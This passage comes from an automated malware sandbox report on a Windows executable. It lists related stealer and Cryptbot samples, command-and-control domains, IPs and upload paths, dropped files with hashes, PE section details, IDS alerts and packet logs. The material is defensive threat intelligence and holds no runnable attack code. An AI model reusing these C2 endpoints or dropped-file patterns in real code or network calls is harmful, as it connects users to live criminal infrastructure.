	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
147.45.113.159	q79Pocl81P.exe	Get hash	malicious	Cryptbot	Browse	twentytk20pn.top/v1/upload.php
	fnuFOEqg4j.exe	Get hash	malicious	Unknown	Browse	home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
	ob4eL9Z1O4.exe	Get hash	malicious	Cryptbot	Browse	twentytk20pn.top/v1/upload.php
	S0O8qbVwLk.exe	Get hash	malicious	Unknown	Browse	home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
	EMasovlyrQ.exe	Get hash	malicious	Unknown	Browse	home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
	oJkvQZYkrx.exe	Get hash	malicious	Unknown	Browse	home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
	f9bcOz8SxR.exe	Get hash	malicious	Unknown	Browse	home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
	u16wYpJpGE.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
	1o81tDUu5M.exe	Get hash	malicious	Unknown	Browse	home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	twentytk20pn.top/v1/upload.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
httpbin.org	q79Pocl81P.exe	Get hash	malicious	Cryptbot	Browse	98.85.100.80
	28PCC9oa8s.exe	Get hash	malicious	Unknown	Browse	98.85.100.80
	HHFgVU1HGu.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.226.108.155
	GxSEtDSBuK.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.226.108.155
	fnuFOEqg4j.exe	Get hash	malicious	Unknown	Browse	98.85.100.80
	ob4eL9Z1O4.exe	Get hash	malicious	Cryptbot	Browse	34.226.108.155
	iuO4kwUi17.exe	Get hash	malicious	Unknown	Browse	98.85.100.80
	S0O8qbVwLk.exe	Get hash	malicious	Unknown	Browse	98.85.100.80
	nojxbVm8i4.exe	Get hash	malicious	Cryptbot	Browse	34.226.108.155
	QnYodX3dYf.exe	Get hash	malicious	Cryptbot	Browse	98.85.100.80
home.twentytk20pn.top	q79Pocl81P.exe	Get hash	malicious	Cryptbot	Browse	147.45.113.159
	fnuFOEqg4j.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	ob4eL9Z1O4.exe	Get hash	malicious	Cryptbot	Browse	147.45.113.159
	S0O8qbVwLk.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	EMasovlyrQ.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	oJkvQZYkrx.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	f9bcOz8SxR.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	u16wYpJpGE.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	147.45.113.159
	1o81tDUu5M.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	147.45.113.159
twentytk20pn.top	q79Pocl81P.exe	Get hash	malicious	Cryptbot	Browse	147.45.113.159
	fnuFOEqg4j.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	ob4eL9Z1O4.exe	Get hash	malicious	Cryptbot	Browse	147.45.113.159
	S0O8qbVwLk.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	EMasovlyrQ.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	oJkvQZYkrx.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	f9bcOz8SxR.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	u16wYpJpGE.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	147.45.113.159
	1o81tDUu5M.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	147.45.113.159

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	q79Pocl81P.exe	Get hash	malicious	Cryptbot	Browse	147.45.113.159
	fnuFOEqg4j.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	ob4eL9Z1O4.exe	Get hash	malicious	Cryptbot	Browse	147.45.113.159
	S0O8qbVwLk.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	EMasovlyrQ.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	oJkvQZYkrx.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	f9bcOz8SxR.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	u16wYpJpGE.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	147.45.113.159
	1o81tDUu5M.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	147.45.44.131
AMAZON-AESUS	HHFgVU1HGu.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.226.108.155
	GxSEtDSBuK.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.226.108.155
	ob4eL9Z1O4.exe	Get hash	malicious	Cryptbot	Browse	34.226.108.155
	nojxbVm8i4.exe	Get hash	malicious	Cryptbot	Browse	34.226.108.155
	WP6s7cCLzr.exe	Get hash	malicious	Unknown	Browse	34.226.108.155
	nsharm7.elf	Get hash	malicious	Mirai	Browse	184.73.107.148
	oJkvQZYkrx.exe	Get hash	malicious	Unknown	Browse	34.226.108.155
	2M43DSi2cx.exe	Get hash	malicious	Unknown	Browse	34.226.108.155
	f9bcOz8SxR.exe	Get hash	malicious	Unknown	Browse	34.226.108.155
	1o81tDUu5M.exe	Get hash	malicious	Unknown	Browse	34.226.108.155

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\ehoYPkfWhVokJMBQaExv.dll	u16wYpJpGE.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	SwJD3kiOwV.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	8dw8GAvqmM.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	rJvOqHxkuI.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	NWKk493xTy.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	88S3zQTYpl.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	NVkyG9HAeY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	aweqG2ssAY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	EnoSY3z6MP.exe	Get hash	malicious	Cryptbot	Browse
	vH7JfdNi3c.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_kGxQbLOG7s.exe_c7d36f7bc677f8295c12855234901c754137fad2_51ae90bb_f3202010-f74b-4c9c-99a3-80e4c132c57a\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.113595906092402
Encrypted:	false
SSDEEP:	192:KPOA0BU/Hkhju0ZrPUttMydzuiFKZ24IO8YXY:8ObBU/wjXWzuiFKY4IO8A
MD5:	4C1979EF7A0E4801F9CDA387ED3A7F0E
SHA1:	A1ACFC83A177F097424D6D87FB7BE4318B09E4AD
SHA-256:	37F68FE68473BE7AFD5EBFFBC61981D7D628873BD74130FD8A7FFB7099015581
SHA-512:	CAA235637C4CCD97C44E40256018234833955F30FA5B97CBE6F8AA0CB15520225DCA98504341F528F95D8A4B9E9CF5FD933AE37FA4CF4A4DBE50CC54B1D86373
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.1.8.4.9.1.4.9.0.0.2.4.1.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.1.8.4.9.1.6.9.6.2.7.2.8.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.3.2.0.2.0.1.0.-.f.7.4.b.-.4.c.9.c.-.9.9.a.3.-.8.0.e.4.c.1.3.2.c.5.7.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.9.3.b.0.9.4.a.-.3.7.0.a.-.4.1.9.a.-.8.7.0.6.-.5.e.6.b.b.2.c.a.7.7.8.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.k.G.x.Q.b.L.O.G.7.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.7.7.8.-.0.0.0.1.-.0.0.1.4.-.9.6.9.7.-.2.e.1.0.f.a.5.2.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.e.1.d.1.6.9.c.2.2.b.2.4.4.5.6.c.5.0.a.c.a.4.4.3.4.5.e.e.1.a.9.0.0.0.0.f.f.f.f.!.0.0.0.0.f.7.7.5.b.d.f.1.1.3.0.1.f.3.c.1.5.7.7.6.6.8.a.e.9.2.4.5.e.1.c.2.2.a.b.5.4.e.a.6.!.k.G.x.Q.b.L.O.G.7.s...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2D95.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Dec 20 16:15:16 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	270334
Entropy (8bit):	1.4629341847660253
Encrypted:	false
SSDEEP:	768:tpFil4MKXEqDahKJXjoI5YgPLDRvgcL1CG:hi6MQ7poI5DvgcL1C
MD5:	79D89C984384CBAAB3329CC334D40508
SHA1:	2807BC9F29A1C731A8EEACD81775BC3850A11293
SHA-256:	9E953CD4C6D96073CBFFAEB47AF3084D972B125C6D2E8CA95F8B51BA1B561C3D
SHA-512:	DBD65414385B8D5180150F4D0A239EAF88303997784C68C21878B60702890523F5EE78E2E1A04345EF1774CB95B8C32C568B2DB9EDAFA5EE11FC52EA7E73A9B2
Malicious:	false
Preview:	MDMP..a..... .........eg........................................x,.....................`.......8...........T............C..F...........D-..........0/..............................................................................eJ......./......GenuineIntel............T.......x.....eg....:........................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER341D.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8364
Entropy (8bit):	3.7014174822798203
Encrypted:	false
SSDEEP:	192:R6l7wVeJVu6JW6YcDMSU9DNugmfkbBprM89b7J0IsfFpm:R6lXJ86Y6YbSU9DNugmfkbF7J07fy
MD5:	F10F6057A6FDCD38649ED1FC558FC6C3
SHA1:	AAC3156938B59311D2F020FF5799FAF19B98B649
SHA-256:	403F11075339E562B737D2E4A74735457796BBD1FD152E5AF41CC0122756934A
SHA-512:	EF074836EFF112FCCBE00E6F47CC2602C1DD3827AEE0B358EBFFE2F3018A8033120CC2397E801D351CC7A8F2B265408E03190DD95CDD48A2C58951B3156514B1
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.9.1.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER347C.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4594
Entropy (8bit):	4.477202871361704
Encrypted:	false
SSDEEP:	48:cvIwWl8zs0qJg77aI9diWpW8VY32Ym8M4JH5FZ+q8cAAHzaYd:uIjf7I7Pj7Vm/JNkAHzaYd
MD5:	CDA997FE7E94C5C867D5C5ABC705D61D
SHA1:	330ABFE4A47691943420D80AC6CB53DAAF7077BD
SHA-256:	12E89CD28771D7BFD2BFA5AACACB2F87AC3D8AC7757F2F4F195A4755434F7710
SHA-512:	15FED0771A4323EFF2287A122F19436AE09C89CF16DA30B6451EAC1B67DA3EE43E93128097314CBF24E3E9B3B989DAFFF88B97A48696A89E06D1A3719FEA640A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="639797" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Temp\ehoYPkfWhVokJMBQaExv.dll

Download File

Process:	C:\Users\user\Desktop\kGxQbLOG7s.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	315803136
Entropy (8bit):	0.054355404265247424
Encrypted:	false
SSDEEP:	24576:mV6EnBO/3Tjg05rfKYlxxQN3QAJhUCwW5nfnI0fIgVHt5JlBVE:dvZAfWW5ntf1VN5JlBVE
MD5:	633D2EA87075AF056EA448199D1B6B51
SHA1:	ACBA5B51C8CE89F7461E8E78785028E090133E71
SHA-256:	0259D4106A6068D299FADD3FC9B7AA2116BBDF70DDA1EAED55C8CA3826C75999
SHA-512:	6EE5B2A17B3901388B7B1C34D04A722214C4452D93A11111AF167B99FCC6AE84A07FC0126F63B5F8F439D538BC33174FF7C6FDF94589714B56360BAA82A3EF0D
Malicious:	false
Joe Sandbox View:	Filename: u16wYpJpGE.exe, Detection: malicious, Browse Filename: SwJD3kiOwV.exe, Detection: malicious, Browse Filename: 8dw8GAvqmM.exe, Detection: malicious, Browse Filename: rJvOqHxkuI.exe, Detection: malicious, Browse Filename: NWKk493xTy.exe, Detection: malicious, Browse Filename: 88S3zQTYpl.exe, Detection: malicious, Browse Filename: NVkyG9HAeY.exe, Detection: malicious, Browse Filename: aweqG2ssAY.exe, Detection: malicious, Browse Filename: EnoSY3z6MP.exe, Detection: malicious, Browse Filename: vH7JfdNi3c.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...bT`g...........#...(..........................0m.........................@............@... .........................`.......................................Hz...........................=.........................t............................text...8...........................`..`.data...............................@....rdata..............................@..@.eh_framX...........................@..@.bss.........p...........................edata..`............:..............@..@.idata...............<..............@....CRT....,............F..............@....tls.................H..............@....reloc..Hz.......\|...J..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\service123.exe

Download File

Process:	C:\Users\user\Desktop\kGxQbLOG7s.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	314617856
Entropy (8bit):	0.0023405885373275906
Encrypted:	false
SSDEEP:
MD5:	110FE44D33E426703CD712E879D34CBC
SHA1:	F7E396874328BA5813FE846DF4DB08A0AE8C7827
SHA-256:	3887BC25C5F53AA834C4277D5FF6DAC4F0B5B04C86C341095A5BF46F9EA150A4
SHA-512:	14C40AAD78EA18D08E3B5792EA55B6A7724907AA41D541DCBE960329C875426BA45C9C43607C67CFC8E87F14CD2EC004942E50EF5D3CE84E71EC3427DC4DD679
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...XT`g...............(.v........................@.......................... .......W....@... .................................................................d...........................D.......................T................................text....t.......v..................`..`.data...T............z..............@....rdata...............\|..............@..@.eh_fram............................@..@.bss....t................................idata..............................@....CRT....0...........................@....tls................................@....reloc..d...........................@..B........................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.393813756946553
Encrypted:	false
SSDEEP:
MD5:	EF0D07B6263409C9512531051FEED7F8
SHA1:	FD588D55E43FDD515DB79B2D06E04BF7EA413880
SHA-256:	8A1895CA7F349C773FA60C3BFE51F3DD884823A1CA48FA5E4E0D1F1472C39CC2
SHA-512:	4C65E6B018BDE9477A8C05DCD45FDCEFC2FA32619DC003C37AE3A342DC2DFCD4A5AF3CC7D9C874A8507D6BFD8086250629986588545F047601434CEE7FE3F997
Malicious:	false
Preview:	regfG...G....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmZ.HZ.R...............................................................................................................................................................................................................................................................................................................................................S_n........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.9847680016652225
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	kGxQbLOG7s.exe
File size:	4'442'112 bytes
MD5:	ebfe28cb77f3d1246693fa372420d022
SHA1:	f775bdf11301f3c1577668ae9245e1c22ab54ea6
SHA256:	fcf09a75838f976b2a8112606dee0912e662a5727822d8e349006299c3f6093a
SHA512:	dea11bcc617b17fd7bb050ef32c27f00a623f209d88df6c712d5cfc10c82141cc5ff8ec9507d0f8ec6bc8f8b675e105b1972264deab5a3fbc91c9f9b2ab80d9e
SSDEEP:	98304:jh5LEofZ8SpH2OOS9gqEGuqskgY07kVOURaGIqGpMu0AU:d9D7zOS9gqEGuqskgYZOURaGW
TLSH:	4D2633D5B763BBB0E73C3AFBCDC398EA86216B947A09D7E15C091309484B16E31EC561
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...P.......PD...@..................................2D...@... ............................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xf55000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:	DYNAMIC_BASE
Time Stamp:	0x676055E0 [Mon Dec 16 16:31:28 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDEF8B38C0Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x61905f	0x73	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x618000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb53a0c	0x10	pggsbtrm
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xb539bc	0x18	pggsbtrm
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x617000	0x283e00	b3ff5c7489e3e87778274eca2dabad32	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x618000	0x2b0	0x200	bf47c8dc45685b04b6ea5786c3208b08	False	0.794921875	data	6.045017513123453	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x619000	0x1000	0x200	e8fbf92e0939d0cd4935f0fe539e974d	False	0.166015625	data	1.1763897754724144	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x61a000	0x385000	0x200	d70812f2f95a829418acec4a68cf8b42	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pggsbtrm	0x99f000	0x1b5000	0x1b4e00	cab85c9893c7c6517dcb961f9746dcb3	False	0.9943395699213161	data	7.956358946570689	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
umcppckl	0xb54000	0x1000	0x400	95d902cc3eaaf4cab8a128909f15bd3e	False	0.7958984375	data	6.1285017692898105	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0xb55000	0x3000	0x2200	57cc1633123b69345e53f6b9549c76d6	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0xb53a1c	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T17:13:55.892688+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.9	49712	147.45.113.159	80	TCP
2024-12-20T17:13:57.605788+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.9	49713	147.45.113.159	80	TCP
2024-12-20T17:14:07.298836+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.9	49727	147.45.113.159	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 17:13:14.385565042 CET	49706	443	192.168.2.9	34.226.108.155
Dec 20, 2024 17:13:14.385585070 CET	443	49706	34.226.108.155	192.168.2.9
Dec 20, 2024 17:13:14.385663986 CET	49706	443	192.168.2.9	34.226.108.155
Dec 20, 2024 17:13:14.400374889 CET	49706	443	192.168.2.9	34.226.108.155
Dec 20, 2024 17:13:14.400389910 CET	443	49706	34.226.108.155	192.168.2.9
Dec 20, 2024 17:13:16.147409916 CET	443	49706	34.226.108.155	192.168.2.9
Dec 20, 2024 17:13:16.148761034 CET	49706	443	192.168.2.9	34.226.108.155
Dec 20, 2024 17:13:16.148775101 CET	443	49706	34.226.108.155	192.168.2.9
Dec 20, 2024 17:13:16.150238991 CET	443	49706	34.226.108.155	192.168.2.9
Dec 20, 2024 17:13:16.150319099 CET	49706	443	192.168.2.9	34.226.108.155
Dec 20, 2024 17:13:16.151819944 CET	49706	443	192.168.2.9	34.226.108.155
Dec 20, 2024 17:13:16.151901960 CET	443	49706	34.226.108.155	192.168.2.9
Dec 20, 2024 17:13:16.151921034 CET	49706	443	192.168.2.9	34.226.108.155
Dec 20, 2024 17:13:16.199368954 CET	443	49706	34.226.108.155	192.168.2.9
Dec 20, 2024 17:13:16.203121901 CET	49706	443	192.168.2.9	34.226.108.155
Dec 20, 2024 17:13:16.203145027 CET	443	49706	34.226.108.155	192.168.2.9
Dec 20, 2024 17:13:16.249933004 CET	49706	443	192.168.2.9	34.226.108.155
Dec 20, 2024 17:13:16.473457098 CET	443	49706	34.226.108.155	192.168.2.9
Dec 20, 2024 17:13:16.473745108 CET	443	49706	34.226.108.155	192.168.2.9
Dec 20, 2024 17:13:16.473921061 CET	49706	443	192.168.2.9	34.226.108.155
Dec 20, 2024 17:13:16.483148098 CET	49706	443	192.168.2.9	34.226.108.155
Dec 20, 2024 17:13:16.483164072 CET	443	49706	34.226.108.155	192.168.2.9
Dec 20, 2024 17:13:18.702116013 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:18.821882963 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:18.822010040 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:18.823326111 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:18.942939043 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:18.942958117 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:18.943022013 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:18.943083048 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:18.943094969 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:18.943136930 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:18.943142891 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:18.943192005 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:18.943208933 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:18.943219900 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:18.943248987 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:18.943298101 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:18.943386078 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:18.943397045 CET	80	49707	147.45.113.159	192.168.2.9
